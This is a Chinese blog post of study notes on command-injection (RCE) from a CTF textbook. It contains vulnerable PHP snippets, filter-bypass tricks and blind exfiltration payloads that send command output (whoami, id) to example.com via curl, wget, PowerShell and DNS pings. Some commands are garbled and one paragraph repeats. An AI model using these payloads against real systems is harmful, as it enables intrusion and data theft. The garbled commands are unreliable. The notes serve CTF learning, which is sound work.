从0到1 CTFer成功之路》命令执行漏洞---学习笔记

命令执行漏洞

命令执行一般发生在远程,故被称为远程命令执行,即RCE(RemoteCommand Exec),也被称为RCE(Remote Code Exec)。本节的RCE皆为远程命令执行。

2.2.1 命令执行的原理和测试方法

2.2.1.1 命令执行原理

在各类编程语言中,为了方便程序处理,通常会存在各种执行外部程序的函数,当调用函数执行命令且未对输入做过滤时,通过注入恶意命令,会造成巨大的危害。
下面以PHP中的system()函数举例:

<?php
	$dir = $_GET['d'];
	system("echo ".$dir);
?>

执行http://127.0.0.1/exec.php?d=for test,结果 显示 for test
执行http://127.0.0.1/exec.php?d=for%20test%26%26whoami 执行显示:
在这里插入图片描述
与在电脑终端执行的whoami命令一样
在这里插入图片描述
%26是“&”URL编码;
所以,命令注入就是通过注入一些特殊字符,改变原本的执行意图,从而执行攻击者指定的命令。

2.2.1.2 命令执行基础

在测试前,我们需要了解cmd.exe、bash程序在解析命令时的规则,掌握Windows、Linux的异同点。
1.转义字符系统中的cmd.exe、bash程序执行命令能够解析很多特殊字符,它们的存在让BAT批处理和bash脚本处理工作更加便捷,但是如果想去掉特殊字符的特殊意义,就需要进行转义,所以转义字符即为取消字符的特殊意义。Windows的转义字符为“^”,Linux的转义字符为“\”,分别见图2-2-3和图2-2-4。可以看到,原本存在特殊意义的“&”被取消意义,从而在终端中输
出。
在这里插入图片描述
2.多条命令执行在命令注入中通常需要注入多条命令来扩大危害,下面是一些能够构成多条命令执行的字符串:Windows下,&&、||、%0a;Linux下,&&、||、;、$()、``、%0a、%0d。图2-2-5、图2-2-6分别为Windows和Linux下的多条命令执行。图2-2-5中显示了“noexist||echo pwnpwnpwn”,noexist程序本身不存在,所以报错,但是通过注入“||”字符,即使前面报错,还会执行后面的“echopwnpwnpwn”命令。
在这里插入图片描述
3.注释符号与代码注释一样,当合理利用时,命令执行能够使命令后面的其他字符成为注释内容,这样可以降低程序执行的错误。Windows的注释符号为“::”,在BAT批处理脚本中用得较多;Linux的注释符号为“#”,在bash脚本中用得较多。
在这里插入图片描述
3.注释符号与代码注释一样,当合理利用时,命令执行能够使命令后面的其他字符成为注释内容,这样可以降低程序执行的错误。Windows的注释符号为“::”,在BAT批处理脚本中用得较多;Linux的注释符号为“#”,在bash脚本中用得较多。

2.2.1.3 命令执行的基本测试

下面以ping-nc 1 www.baidu.com为例构建Fuzz列表。
❖ 程序名:ping。
❖ 参数:-nc。
❖ 参数值:1和www.baidu.com。
❖ 程序名与参数值之间的字符串:空格。
❖ 整个命令。

参数值有时较为复杂,可能是部分可控的,被双引号、单引号包裹,这时需要注入额外的引号来逃逸。

2.2.2 命令执行的绕过和技巧

2.2.2.1 缺少空格在一些代码审计中经常会禁止空格的出现或者会将空格过滤为空,下面将讲解如何突破。例如,对于如下PHP代码:
<?php
	$cmd = str_replace(" ","",$_GET['cmd']);
	echo "CMD:" . $cmd . "<br>";
?>

http://127.0.0.1/exec2.php?cmd=echo%20pwnpwnpwn

1.Windows下
%programFiles:~10,1%

其中,“~”相当于截取符,表示获取环境变量%ProgramFiles%的值,一般为C:\Program Files。所以,以上命令表示,从第10个开始且获取一个字符串,也就是空格

2.2.2.2 黑名单关键字

1.利用变量拼接
Linux: a=c; b=at ;c=he ; d-llo; a a ab c {c} c{d}
其中,a变量为c,b变量为at,最终 a a ab是cat。c变量为he,d变量为llo,最终 c {c} c{d}为hello,所以在这里执行的命令是“cat hello”。

2.使用通配符
在通配符中,“?”代表任意一个字符串,“”则代表任意个字符串。
cat /tm?/fl
(Linux)
type fla* (window)

可以看到,上面通过cat、type命令,结合通配符,实现了对黑名单字符串的绕过。
3.借用已有字符串若是禁用“<>?”等字符串,则可以借用其他文件中的字符串,利用substr()函数截取出某个具体字符。绕过执行结果

rootaubuntu:/tmp/test# cat Lemon. php
<? php echo "hello, Lemon";
 rootgubuntu:/tmp/test# echo ' expr substr s(awk NR==1 Lemon. php) 1 1`<
root@ ubuntu:/tmp/test# echo ' expr substr s(awk NR==1 Lemon. php) 2 1`?
rootQubuntu:/tmp/test# echo ' expr substr s(awk NR==3 Lemon. php) 2 1`>
root@ ubuntu:/tmp/test#
2.2.2.3 执行无回显

在开始前,推荐搭建一个VTest平台https://github.com/opensec-cn/vtest,以便测试。搭建完成后,开始测试,测试代码如下:

<?php 
      exec($_GET['cmd']);
?>

1.http通道
假设自己的域名为example.com,下面以获取当前用户权限为例。在Windows下,目前只能通过相对复杂的命令进行外带

for /F x in (' echo hello') do start http://example. com/httplog/%x

通过for命令,将echo hello执行的结果保存在%x变量中,然后拼接到URL后。
以上命令执行后,默认浏览器会被系统调用打开并访问指定的网站,最终可以在平台上面获取echo hello命令的执行结果,见图2-2-14。
在这里插入图片描述
但是其缺陷是调用浏览器后并不会关闭,并且遇上特殊字符、空格时会存在截断问题,所以可以借用powershell进行外带数据。在Powershell 2.0下,执行如下命令:

for /F %x in (' echo helLo') do powershell $a = 
[ System. Convert]::ToBase64String([System. Text. Encoding]::UTF8. GetBytes('%x')); 
$b = New-object System. Net. WebCLient; 
$b.DownLoadString(' http://example.com/httplog/'+$a);

这里是对echo hello的执行结果进行Base64编码,然后通过Web请求将结果发送出去。在Linux下,由于存在管道等,因此极其方便数据的传输,通常利用curl、wget等程序进行外带数据。例如:

curl example. com/' whoami ` 
wget example. com/$(id Ibase64)

上面便是利用多条命令执行中的“`”和“$()”进行字符串拼接,最终通过curl、wget等命令向外进行请求,从而实现了数据外带,见图2-2-15。
在这里插入图片描述

2.DNS通道

经常我们会以ping来测试DNS外带数据,ping的参数在Windows与Linux下有些不同。如限制ping的个数,在Windows下是“-n”,而在Linux下是“-c”。为了兼容性处理,可以联合使用,即“ping-nc 1 test.example.com”。

└─$ ping -c 1 `whoami`.sina.com

<1>获取计算机名:

for /F "delims=\"%i in (' whoami') do ping -n 1 %i. xxx. example. com

<2>获取用户名:

for /F "delims=\ tokens=2" %i  in (' whoami') do ping-n 1 %i.xxx.example.com

3.时间盲注
网络不通时,可以通过时间盲注将数据跑出来,主要借用“&&”和“||”的惰性;在Linux下可使用sleep函数,在Windows下则可以选择一些耗时命令,如ping-n 5 127.0.0.1。

4.写入文件,二次返回有时
会遇上网络隔离的情况,time型读数据将会极其缓慢,可以考虑将执行命令结果写入到Web目录下,再次通过Web访问文件从而达到回显目的。例如,通过“>”重定向,将结果导出到Web目录http://www.nu1l.com/exec/3.php?cmd=whoami>test下,再次访问导出文件http://www.nu1l.com/exec/test,便可以得到结果

2.2.3 命令执行实例
单纯考查命令注入的题目较为少见,一般会将其组合到其他类型的题目,更多的考点偏向技巧性,如黑名单绕过、Linux通配符等,下面介绍一些经典题目。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值